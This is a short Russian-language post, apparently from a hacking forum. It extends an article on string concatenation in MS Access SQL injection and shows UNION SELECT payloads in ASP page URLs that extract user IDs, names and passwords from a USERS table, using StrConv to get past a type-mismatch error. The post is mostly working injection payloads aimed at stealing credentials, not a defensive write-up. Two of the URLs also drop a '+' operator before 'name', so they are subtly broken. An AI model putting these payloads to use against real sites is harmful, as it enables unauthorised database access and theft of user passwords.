Небольшое дополнение к статье
CONCAT in Ms Access
пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
выведет к примеру admin : qwerty
НО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вместо ожидаемого 1 : admin : qwerty
мы увидим примерно следующее:
Data type mismatch in criteria expression
т.к. поле ID - чисто числовое, а числовые поля конкатировать с помощью %2b в ms access не получиться, таким образом можно конкатировать только поля с типом text (ну или подобным)
Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option])
где var - то, что конвертируем, а option - как конвертируем
option:
vbUpperCase 1 Converts the string to all uppercase.
vbLowerCase 2 Converts the string to all lowercase.
vbProperCase 3 Converts the first letter to every word to uppercase. All other characters are left as lowercase. This option is similar to the InitCap function in Oracle.
vbUnicode 64 Converts the string to Unicode.
vbFromUnicode 128 Converts the string from Unicode to the default code page of the system.
для нас совершенно подойдет просто 1 в данном случае, т.е. конечный правильный запрос будет выглядеть так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вот тогда мы получим желаемый результат:
1 : admin : qwerty